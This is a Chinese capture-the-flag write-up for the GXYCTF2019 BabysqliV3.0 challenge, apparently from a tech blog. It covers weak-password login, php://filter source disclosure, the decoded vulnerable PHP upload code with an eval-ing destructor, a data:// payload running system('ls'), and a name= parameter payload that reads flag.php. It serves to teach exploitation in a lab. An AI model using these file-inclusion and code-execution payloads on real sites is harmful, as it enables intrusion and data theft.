当前位置: 首页 > article >正文

【BUUCTF】[GXYCTF2019]BabysqliV3.01

进入题目页面如下

是一个登陆界面,尝试万能密码登录

当输入带有符号的用户名时,提示用户不存在,那尝试

弱口令密码

用户名:admin

密码:password

可以,登陆上去了,页面如下

难道是文件上传?

上传了一句话木马的文件并没有显示上传成功及文件路径,上传带有木马的图片转化成了文本且显示太大了

应该换个思路

发现URL里有传参?file=upload

想要获取源码,猜测需要构造伪协议

构造伪协议

1、home.php

http//:a6e52924-fe4f-43a7-8bec-59cf51b383c6.node5.buuoj.cn:81/home.php?file=php://filter/convert.base64-encode/resource=home

2、upload.php 

http//:a6e52924-fe4f-43a7-8bec-59cf51b383c6.node5.buuoj.cn:81/home.php?file=php://filter/convert.base64-encode/resource=upload

伪协议知识点

在 Web 安全测试和开发过程中,有时候需要利用伪协议来获取目标文件的源码

PHP 环境下的伪协议利用

1. php://filter 伪协议
  • 原理php://filter 伪协议允许你在读取文件内容之前对其进行过滤,例如进行 base64 编码,这样可以绕过一些文件包含的限制,并且避免直接执行文件中的代码。
  • 假设存在一个文件包含漏洞,目标代码如下
<?php
$file = $_GET['file'];
include($file);
?>

可以构造如下 URL 来获取目标文件的源码

http://example.com/index.php?file=php://filter/read=convert.base64-encode/resource=target_file.php
  • 解释
    • php://filter 是伪协议的名称。
    • read=convert.base64-encode 表示对读取的文件内容进行 base64 编码。
    • resource=target_file.php 指定要读取的目标文件。

获取到 base64 编码后的内容后,在本地进行解码即可得到目标文件的源码。

2. data://text/plain 伪协议
  • 原理data://text/plain 伪协议允许你直接在 URL 中嵌入数据,并将其作为文件内容进行处理。
  • 针对上述文件包含漏洞,可以构造如下 URL
http://example.com/index.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyAiKTs/Pg==

这里 PD9waHAgc3lzdGVtKCJscyAiKTs/Pg== 是 <?php system("ls ");?> 的 base64 编码。

  • 解释
    • data://text/plain 是伪协议名称。
    • ;base64 表示后面的数据是经过 base64 编码的。
    • 编码后的数据就是要执行或包含的内容。

Java 环境下的伪协议利用

1. jar: 伪协议
  • 原理jar: 伪协议可以用来访问 JAR 文件中的资源。在一些存在文件包含或资源加载漏洞的 Java 应用中,可以利用该伪协议来获取 JAR 文件中的源码。
  • 假设存在一个 Java 应用,通过 URLClassLoader 加载外部资源,攻击者可以构造如下 URL:
jar:file:/path/to/your.jar!/com/example/YourClass.class
  • 解释
    • jar: 是伪协议名称。
    • file:/path/to/your.jar 指定 JAR 文件的路径。
    • !/com/example/YourClass.class 指定 JAR 文件中要访问的具体类文件。

利用伪协议获得home.php和upload.php的源码

访问后得到的页面如下

需要对以上base64编码解码,可以使用下面这个在线工具

base64解码 base64编码 在线base64解码/编码工具 iP138在线工具

按以上方法获得home.php和upload.php的源码

1、home.php源码

<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){
	if(isset($_GET['file'])){
		if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
			die("hacker!");
		}
		else{
			if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
				$file = $_GET['file'].".php";
			}
			else{
				$file = $_GET['file'].".fxxkyou!";
			}
			echo "当前引用的是 ".$file;
			require $file;
		}
		
	}
	else{
		die("no permission!");
	}
}
?>

2、upload.php源码

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
 
<form action="" method="post" enctype="multipart/form-data">
	上传文件
	<input type="file" name="file" />
	<input type="submit" name="submit" value="上传" />
</form>
 
<?php
error_reporting(0);
class Uploader{
	public $Filename;
	public $cmd;
	public $token;
	
 
	function __construct(){
		$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
		$ext = ".txt";
		@mkdir($sandbox, 0777, true);
		if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
			$this->Filename = $_GET['name'];
		}
		else{
			$this->Filename = $sandbox.$_SESSION['user'].$ext;
		}
 
		$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
		$this->token = $_SESSION['user'];
	}
 
	function upload($file){
		global $sandbox;
		global $ext;
 
		if(preg_match("[^a-z0-9]", $this->Filename)){
			$this->cmd = "die('illegal filename!');";
		}
		else{
			if($file['size'] > 1024){
				$this->cmd = "die('you are too big (′▽`〃)');";
			}
			else{
				$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
			}
		}
	}
 
	function __toString(){
		global $sandbox;
		global $ext;
		// return $sandbox.$this->Filename.$ext;
		return $this->Filename;
	}
 
	function __destruct(){
		if($this->token != $_SESSION['user']){
			$this->cmd = "die('check token falied!');";
		}
		eval($this->cmd);
	}
}
 
if(isset($_FILES['file'])) {
	$uploader = new Uploader();
	$uploader->upload($_FILES["file"]);
	if(@file_get_contents($uploader)){
		echo "下面是你上传的文件:<br>".$uploader."<br>";
		echo file_get_contents($uploader);
	}
}
 
?>
 

代码审计

类 Uploader:
构造函数 __construct:
生成一个沙盒目录,路径为当前工作目录下的 uploads 文件夹,以用户会话中的 user 值的 MD5 哈希命名。
若 $_GET['name'] 存在且不包含特定的危险字符串(如 data://、filter://、php:// 或 .),则将其赋值给 $Filename;否则,使用沙盒目录和用户会话中的 user 值加上 .txt 扩展名作为文件名。
初始化 $cmd 为一个提示信息,$token 为用户会话中的 user 值。
方法 upload:
若 $Filename 包含非字母数字字符,将 $cmd 设置为输出非法文件名的错误信息。
若上传文件大小超过 1024 字节,将 $cmd 设置为输出文件过大的错误信息。
若以上条件都不满足,将 $cmd 设置为使用 move_uploaded_file 函数将上传文件移动到指定位置的代码。
魔术方法 __toString:返回 $Filename 的值。
析构函数 __destruct:
检查 $token 是否与用户会话中的 user 值相等,若不相等,将 $cmd 设置为输出令牌检查失败的错误信息。
执行 $cmd 中的代码。
主程序逻辑:
若存在上传文件,创建 Uploader 对象并调用 upload 方法处理上传文件。
尝试读取上传文件的内容,若成功则输出文件路径和内容。

重点看以下代码

有file_get_contents($uploader)函数,这是一个读取文件的函数,猜测可以读取flag文件,通过修改Filename参数来读取flag信息

构造payload如下

http://7273c8cf-da67-4fc9-b0e5-8a1691cef3f8.node5.buuoj.cn:81/home.php?file=upload&name=/var/www/html/flag.php

访问后,上传一个按照规定内的文件,最后利用burpsuite抓包,得到flag


http://www.kler.cn/a/525860.html

相关文章:

  • 前端axios拦截器
  • qt内部的特殊技巧【QT】
  • 青少年编程与数学 02-008 Pyhon语言编程基础 07课题、数字
  • 【MySQL】悲观锁和乐观锁的原理和应用场景
  • 在线课堂小程序设计与实现(LW+源码+讲解)
  • 【教学类-89-01】20250127新年篇01—— 蛇年红包(WORD模版)
  • 【MySQL】我在广州学Mysql 系列——MySQL用户管理示例
  • 级数论存在重大错误的原因:中学数学对无穷数列的认识存在重大错误
  • android获取EditText内容,TextWatcher按条件触发
  • 图论——floyd算法
  • 【Numpy核心编程攻略:Python数据处理、分析详解与科学计算】1.23 数据工厂:高级初始化模式解析
  • 【letta】The Letta Platform LETTA平台
  • 脚本运行禁止:npx 无法加载文件,因为在此系统上禁止运行脚本
  • 71-《颠茄》
  • 知识库管理系统助力企业实现知识共享与创新价值的转型之道
  • Rust语言进阶之filter用法实例(九十四)
  • 青少年编程与数学 02-008 Pyhon语言编程基础 06课题、字符串
  • SpringBoot 日志与配置文件
  • 智能家居环境监测系统设计(论文+源码)
  • 【Pandas】pandas Series cumprod
  • mysql重学(一)mysql语句执行流程
  • 【AI论文】Transformer^2: 自适应大语言模型
  • 数据库备份、主从、集群等配置
  • 【信息系统项目管理师-选择真题】2009上半年综合知识答案和详解
  • 【游戏设计原理】94 - 解决问题的方法
  • 赚钱的究极认识